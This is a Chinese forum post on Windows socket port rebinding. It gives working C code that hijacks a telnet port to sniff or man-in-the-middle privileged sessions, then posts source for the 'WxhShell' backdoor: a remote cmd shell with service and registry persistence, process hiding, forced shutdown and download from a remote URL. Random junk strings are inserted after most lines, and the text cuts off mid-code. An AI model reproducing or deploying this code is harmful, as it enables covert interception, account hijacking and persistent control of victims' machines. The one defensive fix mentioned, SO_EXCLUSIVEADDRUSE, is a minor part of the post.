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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &k+'TcWm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $MEKt}S  
t%n3~i4X:  
  saddr.sin_family = AF_INET; 0?",dTf3i  
wcT0XXh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jK^'s6i#  
=-c"~4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `"<} B"s  
6/Coi,om  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &1DU]|RoT&  
5Q.bwl:  
  这意味着什么?意味着可以进行如下的攻击: FN&.PdRT  
U>z8gdzu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0 pH qNlb  
12Hy.l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EQkv&k5X  
\Om< FH}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6uYCU|JsU  
z Lw=*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /?jAG3"  
tndtwM*B'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5CxD ys&<  
XTHy CK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3JiDi X"|  
1|VnPQqA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wPDA_ns~  
)hHkaI>eYv  
  #include fL8+J]6A6  
  #include qF{u+Ms  
  #include 9'I I!  
  #include    Uu9\;f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @L8('8~d  
  int main() n:GK0wu.s  
  { I-NzGx2u  
  WORD wVersionRequested; PF-7AIxs"  
  DWORD ret; 4425,AR  
  WSADATA wsaData; i51~/ R  
  BOOL val; .Z}ySd:X  
  SOCKADDR_IN saddr; h'x|yy]@3  
  SOCKADDR_IN scaddr; Ch`XwLY9  
  int err; ;(Q4x"?I  
  SOCKET s; `/'Hq9$F<"  
  SOCKET sc; 5A:mu+Iz6H  
  int caddsize; 8VJUaL@  
  HANDLE mt; xV'\2n=1T  
  DWORD tid;   %v\0Dm+A  
  wVersionRequested = MAKEWORD( 2, 2 ); ;%Jw9G\h  
  err = WSAStartup( wVersionRequested, &wsaData ); |\ j'Z0  
  if ( err != 0 ) { bmotR8d  
  printf("error!WSAStartup failed!\n"); &UUIiQm~  
  return -1; CUT D]:\  
  } FrO)3 1z  
  saddr.sin_family = AF_INET; e g#.f`  
   _-%A_5lCRE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aD,sx#g0  
Vh:%e24Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =N`"%T@=  
  saddr.sin_port = htons(23); ]l>)Di#*o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8/f ,B:by  
  { rLNo7i  
  printf("error!socket failed!\n"); g*b`V{/Vw  
  return -1; =yiRB?  
  } Z&%#,0>]  
  val = TRUE; ;}{%|UAsx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V?v,q'? $  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C`3}7qi|C  
  { 2/qP:3)  
  printf("error!setsockopt failed!\n"); %^m6Q!  
  return -1; &dZ-}. af  
  } >[=q9k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,V!s w5_5m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cA1"Nek  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yc2c{<Ya5  
4;_{*U-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7</&=lly  
  { Z9s tB>?  
  ret=GetLastError(); ;BqYhi  
  printf("error!bind failed!\n"); "jzU`  
  return -1; bort2k  
  } jQzq(oDQw  
  listen(s,2); ua*k{0[  
  while(1) AoL4#.r3H  
  { o&1ewE(O]  
  caddsize = sizeof(scaddr); '$W@I  
  //接受连接请求 kJqgY|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qwb=N  
  if(sc!=INVALID_SOCKET) n4+l, ~  
  { 0.C y4sH'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]'=]=o~4  
  if(mt==NULL) u~\u8X3  
  { ^#2w::Ds}!  
  printf("Thread Creat Failed!\n"); dJM)~Ay-  
  break; wp`a:QZ8N  
  }  2&O!<C j  
  } &a%|L=FY  
  CloseHandle(mt); xSZgQF~  
  } 1+RG@Cp  
  closesocket(s); LY[XPV]t  
  WSACleanup(); 7.$0LN/a!Z  
  return 0; pw*<tXH!  
  }   V} Y %9V  
  DWORD WINAPI ClientThread(LPVOID lpParam) `3^ *K/K\  
  { u?Jw)`  
  SOCKET ss = (SOCKET)lpParam; ^4_)a0Kcm,  
  SOCKET sc; '5.n2 8W>  
  unsigned char buf[4096]; >6Y\CixN  
  SOCKADDR_IN saddr; /=A?O\B7  
  long num; ('pNAn!]  
  DWORD val; t\E#8  
  DWORD ret; %geiJ z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T>s~bIzL*e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F6R+E;"4R'  
  saddr.sin_family = AF_INET; 5\}A8Ng  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -! Hn,93  
  saddr.sin_port = htons(23); 0&2(1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HDZB)'I  
  { abkl)X>k  
  printf("error!socket failed!\n"); V #W,}+_Sz  
  return -1; _eM\ /(v[  
  } z9pv|  
  val = 100; bl NJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u HqPb8  
  { ~~k_A|&  
  ret = GetLastError(); rvuskXdo  
  return -1; MZ o\1tU-i  
  } z=B*s!G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZIQy}b'  
  { NL 3ri7n  
  ret = GetLastError(); lN#W  
  return -1; v{ Md4 p  
  } A;n3""  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9 o6ig>C  
  { 9F)+p7VJq  
  printf("error!socket connect failed!\n"); B}8xA}<  
  closesocket(sc); "hi?/B#d  
  closesocket(ss); ?47q0C  
  return -1; x zu)``?  
  } VV O C-:  
  while(1) P:vAU8d>  
  { {/G~HoY1i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )WavG1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 13wO6tS k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Aq%TZ_m  
  num = recv(ss,buf,4096,0); __M(dN(^  
  if(num>0) +<7~yZ[Z8  
  send(sc,buf,num,0); }#5V t  
  else if(num==0) .dX ^3  
  break; 9`Bmop  
  num = recv(sc,buf,4096,0); nI.K|hU:P  
  if(num>0) E|Mu1I]e  
  send(ss,buf,num,0); os0fwv  
  else if(num==0) <dl:';@a-  
  break; 6r{NW9y'  
  } "s[wLclfG  
  closesocket(ss); 8)HUo?/3  
  closesocket(sc); Bee`Pp2  
  return 0 ; gKoB)n<[  
  } lYldq)qB{  
"vI:B}  
5H#f;L\k  
========================================================== *Z\B9mx  
} M-^A{C\%  
下边附上一个代码,,WXhSHELL #'[4k:  
7{>mm$^|V  
========================================================== 9$ZQuHSw 7  
_0dm?=  
#include "stdafx.h" _|reo6  
H <41H;m  
#include <stdio.h> 9`  
#include <string.h> `~0)}K.F  
#include <windows.h> a(RTb<  
#include <winsock2.h> Hy=';Ccn}  
#include <winsvc.h> 7pf]h$2  
#include <urlmon.h> /W\@/b,  
Q`- JRY-  
#pragma comment (lib, "Ws2_32.lib") *P2_l Q=  
#pragma comment (lib, "urlmon.lib") 3gtQS3$4s  
;Gixu9u'  
#define MAX_USER   100 // 最大客户端连接数 6D3hX>K4  
#define BUF_SOCK   200 // sock buffer c-1,((p  
#define KEY_BUFF   255 // 输入 buffer a!rU+hiC  
?e( y/  
#define REBOOT     0   // 重启 &iR3]FNI  
#define SHUTDOWN   1   // 关机 :}(Aq;}X  
:_9MS0  
#define DEF_PORT   5000 // 监听端口 zA/ tHlKc  
&z kuL  
#define REG_LEN     16   // 注册表键长度 Kv(2x3("  
#define SVC_LEN     80   // NT服务名长度 FyleK+D?  
VRden>vKN  
// 从dll定义API CqK&J /8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mY6d+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0?c2=Y   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cW%QKdTQY0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ! R rk  
j#4 Iu&YJ  
// wxhshell配置信息 Sd[%$)scC  
struct WSCFG { tNpBRk(}  
  int ws_port;         // 监听端口 [ye!3h&]  
  char ws_passstr[REG_LEN]; // 口令 pY@$N&+W  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^#-d^ )f;  
  char ws_regname[REG_LEN]; // 注册表键名 *UL++/f  
  char ws_svcname[REG_LEN]; // 服务名 ~4gOv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k*XI/k5Vc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b,C2(?hg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v *'anw&Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aia`mO]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /`6Y-8e2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u NmbR8Mx  
xib?XzxGo  
}; !@>_5p>q*  
b0X<)1O  
// default Wxhshell configuration b;Nm$`2  
struct WSCFG wscfg={DEF_PORT, E3..$x-/  
    "xuhuanlingzhe", 7Yv1et |  
    1, 8w4-Ud*$i  
    "Wxhshell", >- S?rXO  
    "Wxhshell", /wAx#[c[  
            "WxhShell Service", Nk JOD3>U  
    "Wrsky Windows CmdShell Service", o,qq*}=  
    "Please Input Your Password: ", P}"=67$  
  1, hSAdD!  
  "http://www.wrsky.com/wxhshell.exe", <O<Kf:i&c1  
  "Wxhshell.exe" rF@njw@  
    }; Z%&$_-yJ  
Kd='l~rby  
// 消息定义模块 "Y'MuV'x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5;v_?M!UCK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "Yp:{e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .4CCR[Het  
char *msg_ws_ext="\n\rExit."; ,gO}H)v]t  
char *msg_ws_end="\n\rQuit."; TEJn;D<1I,  
char *msg_ws_boot="\n\rReboot..."; 2uSXC*Phz  
char *msg_ws_poff="\n\rShutdown..."; c/Dk*.xy<  
char *msg_ws_down="\n\rSave to "; ,5*Z<[*  
) wZ;}O  
char *msg_ws_err="\n\rErr!"; [|qV*3 |?  
char *msg_ws_ok="\n\rOK!"; ;- 0 d2Z  
Ow" e3]}Mt  
char ExeFile[MAX_PATH]; }>93X0%r  
int nUser = 0; 8'sT zB]  
HANDLE handles[MAX_USER]; w]@H]>sHd  
int OsIsNt; (r6'q0[  
Aj{c s  
SERVICE_STATUS       serviceStatus; q g2 fTe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; og[cwa_  
~`Y!_'(x  
// 函数声明 1j_gQ,'20  
int Install(void); }yzCq+  
int Uninstall(void); QG1+*J76b@  
int DownloadFile(char *sURL, SOCKET wsh); !l(D0 C  
int Boot(int flag); )tvP|  
void HideProc(void); :?!b\LJ2^  
int GetOsVer(void); {<}9r6k;f  
int Wxhshell(SOCKET wsl); #Vy8<Vy&w  
void TalkWithClient(void *cs); I%|,KWM  
int CmdShell(SOCKET sock); nmo<t]  
int StartFromService(void); `{KdmWhW  
int StartWxhshell(LPSTR lpCmdLine); WWEZTFL:j  
8l.bT|#O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ApD`i+Y@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !jQj1QZR`  
Vi m::  
// 数据结构和表定义 Rs@>LA  
SERVICE_TABLE_ENTRY DispatchTable[] = WEaG/)y  
{ 1fH2obI~X  
{wscfg.ws_svcname, NTServiceMain}, Xi~7pH  
{NULL, NULL} ?W 6 :$  
}; Qx")D?u  
@?2ES@G+Ji  
// 自我安装 )FdS;]  
int Install(void) )Fsc0_  
{ Te6cw+6  
  char svExeFile[MAX_PATH]; tE8aL{<R  
  HKEY key; ]5O]=^ u0  
  strcpy(svExeFile,ExeFile); ^? V9  
Z g.La<#  
// 如果是win9x系统,修改注册表设为自启动 +$YH dgZ.  
if(!OsIsNt) { 7gc?7TM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;7>k[?'e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h/oC9?v  
  RegCloseKey(key); <GWzdj?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n \i ~H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pi|=3W  
  RegCloseKey(key); ^`S.Mw.  
  return 0; S[;d\Z]~  
    } }`pxs  
  } >Jk]=_%  
} ^O3i)GO  
else { p:NIRs  
3iIURSG@  
// 如果是NT以上系统,安装为系统服务 ,<(0T$o E[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?CD[jX}!  
if (schSCManager!=0) e?7Oom  
{ cC*H.N  
  SC_HANDLE schService = CreateService it$w.v+W7V  
  ( } *jmW P  
  schSCManager, +;ylld  
  wscfg.ws_svcname, I=pFGU  
  wscfg.ws_svcdisp, tfCK^{  
  SERVICE_ALL_ACCESS, gX|We}H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9vckQCLM  
  SERVICE_AUTO_START, P,rD{ 0~  
  SERVICE_ERROR_NORMAL, *.6m,QqJ(  
  svExeFile, der\"?_.  
  NULL,  y 2C Jk~  
  NULL, K=Z.<f  
  NULL, t2(vtxrt  
  NULL, vD^Uod1  
  NULL FEO /RMh  
  ); yNhRh>l  
  if (schService!=0) e-Z ul.m  
  { mb>8=hMg  
  CloseServiceHandle(schService); f+lPQIB  
  CloseServiceHandle(schSCManager); iN9G`qF3!Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ZtKaEXnx  
  strcat(svExeFile,wscfg.ws_svcname); af'gk&%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /PKu",Azj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LC4W?']/  
  RegCloseKey(key); Bm5\*Xd1(  
  return 0; 4-?zW  
    } !'#GdRstv  
  } @\WeI"^F8  
  CloseServiceHandle(schSCManager); ||))gI`3a  
} fZp3g%u  
} |s,y/svp  
R2A#2{+H  
return 1; X4<Y5?&0  
} {TZV^gT4  
'!F'B:  
// 自我卸载 6HZVBZhM  
int Uninstall(void) nT%ko7~-  
{ >qVSepK3  
  HKEY key; Qb5@e#  
"vX\Q rL  
if(!OsIsNt) { ^ X-6j[".  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P  Ij  
  RegDeleteValue(key,wscfg.ws_regname); ?vfZ>7Q  
  RegCloseKey(key); uD?Rs`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _3IRj=Cs  
  RegDeleteValue(key,wscfg.ws_regname); .^6yCs5~`  
  RegCloseKey(key); :'FCeS9  
  return 0; }]Nt:_UCX  
  } 3RF`F i  
} U4[GA4DZ   
} 2wJa:=$  
else { KE6 XNG3  
M0T z('~s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h'+F'1=  
if (schSCManager!=0) 8#w%qij  
{ ME66BWg{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $*:g~#bh  
  if (schService!=0) N@Q_5t0bk  
  { * ,zrg%8  
  if(DeleteService(schService)!=0) { e{H(  
  CloseServiceHandle(schService); n]6-`fpD  
  CloseServiceHandle(schSCManager); Vg(M ^2L  
  return 0; Iw^Q>MrT  
  } k=cDPu -  
  CloseServiceHandle(schService); 6OB3%R'p  
  } h\2iArw8  
  CloseServiceHandle(schSCManager); F'-XAI <3  
} +sV~#%%  
} /I((A /ks  
yp[,WZt  
return 1; .%!^L#g  
} "}Ikx tee  
%OsxXO?  
// 从指定url下载文件 6a<zZO`Z6+  
int DownloadFile(char *sURL, SOCKET wsh) 6Jq3l_  
{ cTq;<9Iew  
  HRESULT hr; 3~{0X-  
char seps[]= "/"; DJ9x?SL@KD  
char *token; A+j!VM   
char *file; B>4/[ YHr;  
char myURL[MAX_PATH]; o7 0] F  
char myFILE[MAX_PATH]; M!D6i5k,   
gWL`J=DiU  
strcpy(myURL,sURL); :G#+ 5 }  
  token=strtok(myURL,seps); 5,4m_fBoW  
  while(token!=NULL) {9@u:(<X9  
  { <xe_t=N  
    file=token; Cg|\UKfy$  
  token=strtok(NULL,seps); LIrebz  
  } =kf"%vFV  
|MOz> 1<a  
GetCurrentDirectory(MAX_PATH,myFILE); ddN G :  
strcat(myFILE, "\\"); :>/6:c?atG  
strcat(myFILE, file); CYlS8j  
  send(wsh,myFILE,strlen(myFILE),0); -$X4RS  
send(wsh,"...",3,0); h#c7v !g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4U16'd  
  if(hr==S_OK) &8Z .m,s]  
return 0; E *IP#:R  
else =ZO lE|4  
return 1; X7[gfKGL)N  
$$uMu{?0i  
} M%Ksyr9  
vt n T   
// 系统电源模块 k]^ya?O]p  
int Boot(int flag) oh@Ha?  
{ !.-u'6e  
  HANDLE hToken; 0qIg:+l+  
  TOKEN_PRIVILEGES tkp; 7A) E4f'  
pp@B]We  
  if(OsIsNt) { Ni%@bU $  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @SyL1yFX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7xQ:[P!G+  
    tkp.PrivilegeCount = 1; hu1ZckIw?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rL&Mq}7QK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jE wt1S V  
if(flag==REBOOT) { c&x1aF "B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 74a@/'WbE  
  return 0; oam;hmw  
} ky-nP8L}  
else { 9e c},~(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =R~zD4{"  
  return 0; 2gZ nrU  
} HTv#2WX  
  } #0hqfs  
  else { 5 @-H8*  
if(flag==REBOOT) { Yufj y=!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hSR+7qN<e  
  return 0; c/ih%xR  
} h5pfmN\-5  
else { sei2\l8q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PEm2w#X%L  
  return 0; u1Slu%^e  
} N>,`TsUwW  
} "DA%vdu  
_Gf-s51s  
return 1; G~v:@  
} 7 7y+ik  
@K+gh#  
// win9x进程隐藏模块 uo J0wG.  
void HideProc(void) f$6N  
{ h6OQeZ.  
zA8@'`Id  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wpN3-D  
  if ( hKernel != NULL ) fISK3t/=C  
  { _ilitwRN3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UAT\ .  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9cUa@;*1  
    FreeLibrary(hKernel); $A-X3d;'\/  
  } biU_ImJ>0  
|Tc4a4jS  
return; zL9~gJ  
} $+_1F`  
fK+ 5   
// 获取操作系统版本 pjX=:K|  
int GetOsVer(void) KYtCN+vsG  
{ C}pm>(F~  
  OSVERSIONINFO winfo; <R;wa@a>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _^NaP  
  GetVersionEx(&winfo); 6% ofS8 [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $Seh4  
  return 1; @+H0D"  
  else |bnYHP$!  
  return 0; T'vI@i9  
} c9fz x  
~/9RSdv7  
// 客户端句柄模块 RJzIzv99m  
int Wxhshell(SOCKET wsl) kHylg{i{"  
{ %),u0:go  
  SOCKET wsh; !C05;x8{  
  struct sockaddr_in client; Zfcf?&><  
  DWORD myID; i9XpP(mf  
Q,^/Lm|]k  
  while(nUser<MAX_USER) kx?Yin8K  
{ MO0NNVVi%U  
  int nSize=sizeof(client); Y`(Ri-U4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u*;H$&  
  if(wsh==INVALID_SOCKET) return 1; 2/fol TR7  
)!\6 "{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N+B!AK0.  
if(handles[nUser]==0) !ess.U&m'  
  closesocket(wsh); aG^E^^Y  
else 3&7? eO7*  
  nUser++; wCg7JW#  
  } 7=^}{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); < $e#o H  
m^!j)\sM5  
  return 0; J ( d[05x0  
} y zp#  
8R!-,I"$  
// 关闭 socket 5l1R")0`t_  
void CloseIt(SOCKET wsh) X5[vQ3^  
{ g"5Kth  
closesocket(wsh); _Ffg"xoC  
nUser--; $V!.z%Vgf  
ExitThread(0); D^6iQW+.P  
} I V# 8W  
O}Pqbx&  
// 客户端请求句柄 xm1di@  
void TalkWithClient(void *cs) 1g{}O^ul  
{ ;Y;r%DJ  
V&:x+swt  
  SOCKET wsh=(SOCKET)cs; 6[k<&;  
  char pwd[SVC_LEN]; q9rm9#}[J#  
  char cmd[KEY_BUFF]; fEXFnQ#  
char chr[1]; {c9 f v H  
int i,j; ajk}&`Wj"  
7`J2/(  
  while (nUser < MAX_USER) { 2} pZyS  
5H XF3  
if(wscfg.ws_passstr) { 8Lx/ZGy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2A~o)7JaZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [(x*!,=  
  //ZeroMemory(pwd,KEY_BUFF); zu{K"7Bx  
      i=0; XH~(=^/_  
  while(i<SVC_LEN) { wB0vpt5f  
/Q(boY{  
  // 设置超时 j [lS.Lb  
  fd_set FdRead; 0l[52eZ/  
  struct timeval TimeOut; fm-m?=  
  FD_ZERO(&FdRead);  FNH)wk  
  FD_SET(wsh,&FdRead); -_t4A *  
  TimeOut.tv_sec=8; N s0,Z#Z+  
  TimeOut.tv_usec=0; _|I8+(~)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iKrk?B<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]#f%Dku.m  
B;(U ?gC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #%nV\ Bl  
  pwd=chr[0]; @a@}xgn{  
  if(chr[0]==0xd || chr[0]==0xa) { :VP4:J^  
  pwd=0; r_$*euh@  
  break; AH&RabH2  
  } y@~ VE5N  
  i++; )m;*d7l~p  
    } Ez|NQ:o  
R;Dj70g  
  // 如果是非法用户,关闭 socket P'tXG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2_HIn  
} 5e,u*J]  
 ?{"r(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L$_%T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O$6&4p*F.  
oMg-.!6  
while(1) { vx($o9  
b_nE4>  
  ZeroMemory(cmd,KEY_BUFF); dX/7n=  
 *1["x;A  
      // 自动支持客户端 telnet标准   e7"T37  
  j=0; P#V!hfM  
  while(j<KEY_BUFF) {  4t(/F`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ]Pe>T&  
  cmd[j]=chr[0]; o 7kg.w|  
  if(chr[0]==0xa || chr[0]==0xd) { j8Z;}Ps  
  cmd[j]=0; gQ0,KYmI3_  
  break; .8s-)I  
  } gC2}?nq*  
  j++; wO%lM  
    } V:y6NfL7i'  
J$yq#LBbR@  
  // 下载文件 2k<#e2  
  if(strstr(cmd,"http://")) { }#D=Rf?2\P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n?cC]k;P~  
  if(DownloadFile(cmd,wsh)) 4@fv%LOQo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sPZwA0%  
  else ;GG,Z#\m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /jJD {  
  } ,L-/7}"VHA  
  else { ZcjLv  
WcqR; Nm  
    switch(cmd[0]) { td7(444]  
  @ywtL8"1~  
  // 帮助 9#U]?^DJ@  
  case '?': { o%~fJx:]y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VB*c1i  
    break; ;=0mL,  
  } 6k;5T   
  // 安装 K' `qR  
  case 'i': { ^ 3 4Ng  
    if(Install()) +'g O%^{l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5@>hjXi"Y  
    else zs]ubJC@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \u`P(fI!K%  
    break; $,by!w'e:l  
    } 9Zl4NV&B  
  // 卸载 3?V'O6  
  case 'r': { I"czo9Yspd  
    if(Uninstall()) C <:g"F:k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,V 52Fj  
    else qX\85dPn@}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'*{BAWx  
    break; |MGT8C&^!  
    } ?1\I/ 'E9  
  // 显示 wxhshell 所在路径 ]pe7I P  
  case 'p': { TM6wjHFm  
    char svExeFile[MAX_PATH]; LAk .f  
    strcpy(svExeFile,"\n\r"); :a)RMp+^0  
      strcat(svExeFile,ExeFile); V.`hk^V,  
        send(wsh,svExeFile,strlen(svExeFile),0); BN]o!Y  
    break; E va&/o?P|  
    } ib(|}7Je  
  // 重启 9U<WR*H  
  case 'b': { Td|,3 n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ xo8"kl  
    if(Boot(REBOOT)) )wjpxr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16Ka>=G  
    else { d4IQ;u  
    closesocket(wsh); PH%t#a!j3/  
    ExitThread(0); kXhd]7ru  
    } Y_n/rD>  
    break; Y S7lB  
    } c$[2tZ  
  // 关机 5: gpynE|  
  case 'd': { 2&S^\kf  
